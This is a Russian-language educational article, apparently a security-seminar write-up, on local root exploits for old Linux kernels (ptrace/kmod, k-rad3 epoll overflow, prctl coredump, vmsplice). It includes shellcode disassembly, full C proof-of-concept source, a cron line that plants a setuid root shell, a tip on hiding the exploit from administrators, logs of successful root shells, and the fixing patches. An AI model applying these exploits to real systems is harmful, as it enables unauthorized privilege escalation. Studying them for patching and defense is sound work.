LINUX KERNEL EXPLOITS Вводные сведения, определения (с википедии большей частью). Уязвимость – недостаток в системе, используя который, возможно вызвать ее неправильную работу; Эксполйт – (англ. exploit – использовать, заюзывать(сленг)) фрагмент программного кода, который, используя возможности предоставляемые уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы(DOS); DoS-атака – (англ. Denial of Service – отказ в обслуживании) атака, при которой правомерные пользователи системы не могут получить доступ к предоставляемым ей(системой) ресурсам или этот доступ затруднен; UID – идентификатор пользователя, число, по которому система различает пользователей; root – пользователь с UID=0, администратор системы. Классификация сплойтов. по способу контакта с уязвимым програмным обеспечением: локальные (требуют предварительного доступа к уязвимой системе) удалённые (без предварительного доступа) по действию: повышающие привилегии вызывающие отказ в обслуживании. Речь пойдет о локальных сплойтах(так как удаленных под ядро очень мало в открытом доступе, а те что есть те неактуальны), повышающих привилегии(как самые опасные для системы). Все рассмотренные сплоиты дают привилегии «рута» на уязвимой системе. Рассматриваемые сплоиты: ptrace <=2.4.20, <2.2.25 k-rad3 <=2.6.11 prctl() 2.6.13 – 2.6.17.3 vmsplice 2.6.23 – 2.6.24 vmsplice 2.6.17 – 2.6.24.1 Описание принципов действия сплойтов. ptrace Подробно на http://www.sans.org/resources/malwarefaq/Ptrace.php ptrace – системный вызов, объединяющий несколько функций для отладки и контроля за выполнением процесса(подробнее man ptrace). Уязвимость существует не в самом ptrace, а в логике линуксовского ядра. Называется сполит ptrace'ом потомучто этот системный вызов используется чтобы заюзать уязвимость (иногда сплоит называют kmod или чаще всего ptrace/kmod). Описание уязвимости: когда ядро загружает дополнительный модуль, создается процесс с правами UID=0 и GID=0, который система позволит отладить и таким образом выполнить произвольный код с привилегиями root. “If you say Y here, some parts of the kernel will be able to load modules automatically: when a part of the kernel needs a module, it runs modprobe with the appropriate arguments, thereby loading the module if it is available.” (из описания CONFIG_KMOD в конфигураторе ядра) необходимые условия для того чтобы сплойт сработал: ядро уязвимой версии; скомпилировано с использованием модулей(CONFIG_MODULES=y); загрузчик модулей ядра включен(CONFIG_KMOD=y); системный вызов ptrace не блокируется. описание работы сплойта(рекомендую открыть исходник): Провеяет на то запустились ли мы благодаря suid'ному биту из под рута, если да, то изменяет UID и GID владельца процесса на 0 и запускает shell. Форкается (создает копию процесса). Родитель: вызывает функцию socket(AF_SECURITY, SOCK_STREAM, 1), которая вынуждает ядро загрузит дополнительный модуль; ждет пока свой исполняемый файл диске будет иметь suid'ный бит запускает себя. Потомок: берет процесс, который вызывается когда ядро загружает дополнительный модуль под отладку; останавливает его выполнение и считывает регистр eip этого процесса, который указывает на текущую выполняемую им инструкцию; записывает, начиная с текущей выполняемой инструкции, шеллкод; продолжает выполнение процесса; завершает свою работу. После того как выполнится шеллкод, у файла программы на диске появится суидный бит, родитель это заметит и перезапустит себя. При этом запуске проверка на то запустились ли мы благодаря suid'ному биту из под рута пройдет, и запустится shell с правами root. Что делает шеллкод (для понимания необходимо знание ассемблера на начальном уровне): Dump of assembler code for function cliphcode: PHP: 0x0000000000601040 <cliphcode+0>: nop 0x0000000000601041 <cliphcode+1>: nop 0x0000000000601042 <cliphcode+2>: jmp 0x601063 <cliphcode+35> 0x0000000000601044 <cliphcode+4>: mov $0xb6,%eax ; chown 0x0000000000601049 <cliphcode+9>: pop %rbx 0x000000000060104a <cliphcode+10>: xor %ecx,%ecx ; 0 0x000000000060104c <cliphcode+12>: mov %ecx,%edx ; 0 0x000000000060104e <cliphcode+14>: int $0x80 0x0000000000601050 <cliphcode+16>: mov $0xf,%eax ; chmod 0x0000000000601055 <cliphcode+21>: mov $0xded,%ecx ; 6755 (восм) 0x000000000060105a <cliphcode+26>: int $0x80 0x000000000060105c <cliphcode+28>: mov %edx,%eax 0x000000000060105e <cliphcode+30>: mov %edx,%ebx 0x0000000000601060 <cliphcode+32>: rex int $0x80 0x0000000000601063 <cliphcode+35>: callq 0x601044 <cliphcode+4> 0x0000000000601068 <cliphcode+40>: add %al,(%rax) End of assembler dump. k-rad3 Целочисленное переполнение в функции sys_epoll_wait. asmlinkage long sys_epoll_wait(int epfd, struct epoll_event __user *events, int maxevents, int timeout) уязвимость существует в параметре maxevents. epoll_wait – один из 3 системных вызовов для управления epoll'ом(еще есть epoll_create и epoll_ctl). epoll'ы используются для слежения за несколькими файловыми дискрипторами сразу на предмет событий (пример событий: появились данные для чтения/записи, зафиксирована ошибка устройства или потока). подробнее вот тут: http://blog.kovyrin.net/2006/04/13/epoll-asynchronous-network-programming/lang/ru/ и вот тут: http://lse.sourceforge.net/epoll/index.html. необходимые условия для того чтобы сплойт сработал: ядро уязвимой версии; карма на +10 (спойт часто весит систему, вызывает kernel panic или просто не работает). примечание: /* unlink(argv[0]); */ // sync(); в тексте сплойта эти строки написаны не спроста. Если их раскомментировать то после запуска исполняемый файл удалится. В том случае если система повиснет, администратору машины будет сложнее определить источник сбоя. Описание работы сполйта (очень примерное): провеяет на то, запустились ли мы благодаря suid'ному биту из под рута; если да, то изменяет UID и GID владельца процесса на 0 и запускает shell; используя возможность перезаписывать память ядра, перезаписывает указатель на обработчик прерывания 0x7f; вызывает прерывание 0x7f при этом в нулевом кольце вызывается функция, которая ставит процессу сплойта uid,euid,gid,egid в 0 и очищает указатель на обработчик прерывания 0x7f (чтоб никто больше им не воспользовался) ставит программе-сплойту на диске суидный бит и владельца рута; Запускает шелл, он запускается с uid=0 и gid=0. пример поменьше, как перезаписывать память ядра используя epool_wait, можно найти на: http://lists.grok.org.uk/pipermail/full-disclosure/2005-March/032314.html it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) memory due to integer overflow in sys_epoll_wait and misuse of __put_user in ep_send_events tested on i386. despite the overflow, the os seemingly continues normal operation. fix: http://linux.bkbits.net:8080/linux-2.6/?PAGE=changes ------------------------------------------------- PHP: /* * copyright georgi guninski. * cannot be used in vulnerabilities databases like securityfocus and mitre * */ #include <stdio.h> #include <sys/epoll.h> #include <sys/socket.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> #define __KERNEL__ #include <asm/processor.h> #undef __KERNEL__ #define MAXV 500 int main(int argc,char ** argv) { int epfd; int i; int res; struct epoll_event ev; int *fds; int over; void *km; over= ((unsigned int)-1)/sizeof(struct epoll_event)+1; km=(void *)(TASK_SIZE - over*sizeof(struct epoll_event) - 4); printf("sizeof=%d %x %lx\n",sizeof(struct epoll_event),over,(unsigned long)km); epfd = epoll_create(MAXV); printf("Epoll descriptor %i\n",epfd); fds=calloc(2*MAXV,sizeof(int)); for(i=0;i<MAXV;i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, &fds[2*i])) perror("pair"); ev.data.u32 = 0x42424242; ev.events = EPOLLOUT|EPOLLIN | 0x42424242; res = epoll_ctl(epfd,EPOLL_CTL_ADD,fds[2*i],&ev); } for(i=0;i<MAXV;i++) write(fds[2*i+1],&i,sizeof(i)); system("sync"); for(i = 0; i < 1; i++) { res = epoll_wait(epfd,km,over,-1); printf("epoll_wait returned %i\n",res); printf("check what is after TASK_SIZE\n"); } close(epfd); return 42; } ----------------------------------------- -- Для работы сплойта под виртуальной машиной (напр. vmware) может потребоваться вручную в исходном тексте указать адрес idtr.base, который можно узнать командой `cat /boot/System.map|grep idt_table` (примерный результат 0xc04e2000 D idt_table), а затем в исходнике нужно найти и изменить значение на полученное (idtr.base = 0xc04e2000). пример работы (уязвимое ядро): bay@BAYsLinuxBox /k-rad3 $ uname -a Linux BAYsLinuxBox 2.6.11 #3 Sun Mar 2 04:10:22 GMT 2008 i686 AMD Athlon™ 64 X2 Dual Core Processor 4600+ AuthenticAMD GNU/Linux bay@BAYsLinuxBox /k-rad3 $ id uid=1000(bay) gid=1000(bay) groups=1000(bay) bay@BAYsLinuxBox /k-rad3 $ ./k-rad -t2 [ k-rad3 – <=linux 2.6.11 CPL 0 kernel exploit ] [ Discovered Jan 2005 by sd <[email protected]> ] [ Modified 2005/9 by alert7 <[email protected]> ] [+] try open /proc/cpuinfo .. ok!! [+] find cpu flag pse in /proc/cpuinfo [+] CONFIG_X86_PAE :none [+] Cpu flag: pse ok [+] Exploit Way : 0 [+] Use 1 pages (one page is 4K ),rewrite 0xc0000000--(0xc0001000 + n) [+] thread_size 2 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 [+] idtr.base 0xc04e2000, base 0xc0000000 [+] kwrite base 0xc0000000, buf 0xbffee650,num 4100 [+] idt[0x7f] addr 0xffc003f8 [+] j00 1u(k7 k1d! BAYsLinuxBox k-rad3 # id uid=0(root) gid=0(root) groups=1000(bay) пример работы (запатченое ядро): bay@BAYsLinuxBox /k-rad3 $ ./k-rad -t2 [ k-rad3 – <=linux 2.6.11 CPL 0 kernel exploit ] .............. [+] idtr.base 0xc04e2000, base 0xc0000000 [+] kwrite base 0xc0000000, buf 0xbf97ffe0,num 4100 epoll_wait: Invalid argument Linux BAYsLinuxBox 2.6.23-gentoo-r8 #4 Wed Feb 27 18:52:34 GMT 2008 i686 AMD Athlon™ 64 X2 Dual Core Processor 4600+ AuthenticAMD GNU/Linux [-] This kernel not vulnerability!!! патч: PHP: --- a/fs/eventpoll.c 2005–03–15 16:09:56 -08:00 +++ b/fs/eventpoll.c 2005–03–15 16:09:56 -08:00 @@ -619,6 +619,7 @@ return error; } +#define MAX_EVENTS (INT_MAX / sizeof(struct epoll_event)) /* * Implement the event wait interface for the eventpoll file. It is the kernel @@ -635,7 +636,7 @@ current, epfd, events, maxevents, timeout)); /* The maximum number of event must be greater than zero */ – if (maxevents <= 0) + if (maxevents <= 0 || maxevents > MAX_EVENTS) return -EINVAL; /* Verify that the area passed by the user is writeable */ где происходит целочисленное переполнение (вот в этом месте можно открыть fs/eventpoll.c): PHP: /* Verify that the area passed by the user is writeable */ if (!access_ok(VERIFY_WRITE, events, maxevents * sizeof(struct epoll_event))) { error = -EFAULT; goto error_return; } То есть, если maxevents слишком большое то при умножнеии из-за переполнения получается маленькое число и проверка на то, что в область память которую нам указал пользователь можно писать, может завершиться успехом (поэтому в патче и MAX_EVENTS=(INT_MAX / sizeof(struct epoll_event)) чтоб при умножении не выйти за INT_MAX, а в сплоите unsigned magic = 0xffffffff / 12 + 1). prctl Возможность записи в каталоги пользователя root. С помощью системного вызова prctl можно управлять флагами отвечающими за создание дампов (coredumps) памяти процесса при его аварии. В линуксах 2.6.13–2.6.17 можно было указать, чтобы дампы создавались от имени пользователя root, чтобы исключить возможнось их прочтения кем-то другим, к тому же дампы писались в текущую директорию. Это привело к тому, что стало возможным писать файлы в директории с владельцем – рутом. необходимые условия для того чтобы сплойт сработал: ядро уязвимой версии; запущеный от рута cron(на многих системах по умолчанию). описание работы сполйта: в папке /tmp создаёт файлы getsuid.c и s.c. getsuid.c: в памяти процесса создается строка по формату схожая с записью cron'a * * * * * root chown root.root /tmp/s;chmod 4777 /tmp/s;rm -f /etc/cron.d/core\n»; Эта строка будучи проинтерпретирована cron'ом, каждую минуту будет менять владельца /tmp/s на рута и ставить ему суидный бит (нам достаточно чтоб она исполнилась один раз, поэтому мы делаем rm -f /etc/cron.d/core) процесс распадается на 2(fork). Потомок меняет текущий каталог на /etc/cron.d, с помощью ptctl устанавливает флаг чтоб дампы создавались от имени пользователя root, затем засыпает на 200 секунд. Родитель шлет потомку сигнал SIGSEGV чтобы вызвать создание дампа, затем засыпает на 120 секунд (60 секунд для того чтобы cron увидел файл в /etc/cron.d и 60 – для того, чтобы он выполнил команды (он выполнит в 00 секунд)). s.c: устанавливает uid'ы и gid'ы в 0, запускает шелл, и удаляет себя с диска. Компилирует эти два файла и запускает сначала getsuid потом s.c. Чистит за собой. запустим: bay@BAYsLinuxBox ~ $ ./sys_prctl wait aprox 4 min to get sh sh-3.2# id uid=0(root) gid=0(root) groups=1000(bay) sh-3.2# в соседней консоли: [BAYsLinuxBox ~ # cd /etc/cron.d/ BAYsLinuxBox cron.d # ls -l total 64 -rw------- 1 root bay 143360 Mar 16 16:54 core баг пофиксили в 2.6.17.3. Просто удалили возможность создания дампов от имени пользователя рут. из man prctl: “Between kernels 2.6.13 and 2.6.17, the value 2 was also permitted, which caused any binary which normally would not be dumped to be dumped readable by root only; for security reasons, this feature has been removed.” (про PR_SET_DUMPABLE) vmsplice ссылки: про системный вызов vmsplice: http://lwn.net/Articles/181169/ http://lwn.net/Articles/164887/ http://kerneltrap.org/node/6505 про механизм действия сплойта: http://www.linuxworld.com/news/2008/031108-kernel.html?fsrc=rss-linux-news splice – по английски «соединять». Системный вызов используется чтобы «соединить» пайп и файл. После соединения при чтении из пайпа будет производится чтение из файла, а при записи – запись в файл. vmsplice – vm от “virtual memory”. Тоже самое что splice только с пайпом соединяется не файл а область памяти. Системный вызов vmsplice появился с версии 2.6.17. в этом системном вызове была не одна уязвимость. В ядрах 2.6.23–2.6.24 у области памяти которая передавалась вызову vmsplice не проверялись разрешения(можно ли туда писать). Можно было связать произвольную область памяти с пайпом и записывая в него, записывать в память. Это быстро нашли и пофиксили. Другая уязвимость(2.6.17–2.6.24) была в том что если, наоборот, соединять пайп с памятью (читаем из пайпа – читаем из памяти), то не проверялось, есть ли права на чтение памяти. На первый взгляд эта уязвимость позволяет только читать данные. Но эта уязвимость усилилась еще одной, если мы попытаемся связать область памяти очень большой длины то произойдет целочисленное переполнение. из fs/splice.c: PHP: npages = (off + len + PAGE_SIZE – 1) >> PAGE_SHIFT; if (npages > PIPE_BUFFERS – buffers) npages = PIPE_BUFFERS – buffers; Это был фрагмент функции get_iovec_page_array. Функция нужна чтобы преобразовать полученные от пользователя данные о памяти(от него получаем базу+длину участка+количество участков) в массив указателей на соответствующие структуры page. Возвращает эта функция указатель на массив структур pages. Максимальный размер этого массива равен PIPE_BUFFERS(16, независимо от архитектуры). Чтобы избежать переполнения этого массива и написан предыдущий код. Но если мы передадим len=ULONG_MAX, то произойдет переполнение и в npages положится число 0. Прямо вслед за этим идет код: PHP: error = get_user_pages(current,current->mm,(unsigned long) base,npages,0,0,&pages[buffers],NULL); где current – процесс; (unsigned long) base – начало; npages – длина; &pages[buffers] – куда ложим рез-ат. get_user_pages используется для того чтобы найти указатели на соответствующующие структуры page (соответствующие виртуальным адресам которые указал пользователь). Функция описана в /mm/memory.c (очень рекомендую заглянуть). Она не расчитана на то, что ей будут передавать длину – 0 (когда загляните, рекомендую сделать поиск по len и понять почему не расчитана). В результате в массив который должна вернуть(через аргументы) функция get_iovec_page_array запишется больше чем PIPE_BUFFERS элементов. В результате память окажется повреждена. Используя это можно заставить ядро выполнить произвольный код (почему он выполняется до сих пор остается для меня загадкой.. об этом можно попробовать почитать на http://lwn.net/Articles/269532/) необходимые условия для того чтобы сплойт сработал: ядро уязвимой версии. запустим (уязвимая система): bay@BAYsLinuxBox /vmsplice/expl $ ./a.out ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7d87000 .. 0xb7db9000 [+] root запустим (<2.6.17): ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- ...... [+] mmap: 0xb7e85000 .. 0xb7eb7000 [-] vmsplice: Function not implemented запустим (на запатченной системе): ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- ...... [+] mmap: 0xb7db8000 .. 0xb7dea000 [-] vmsplice: Bad address патч: PHP: --- a/fs/splice.c +++ b/fs/splice.c @@ -1234,7 +1234,7 @@ static int get_iovec_page_array(const struct iovec __user *iov, if (unlikely(!len)) break; error = -EFAULT; – if (unlikely(!base)) + if (!access_ok(VERIFY_READ, base, len)) break; /* Заключения: 1. Многие версии линукса уязвимы к локальным сплойтам, сплойты можно найти в открытом доступе, постоянно находятся новые уязвимости. 2. Следствие первого: надо регулярно следить за вновь появившемися уязвимостями/сплойтами и вовремя патчится. -------------------- Оригинал статьи http://www.hackerdom.ru/Seminar/20072008/LinuxKernelExploits?v=11o9 P.S:с правилами раздела ознакомлен...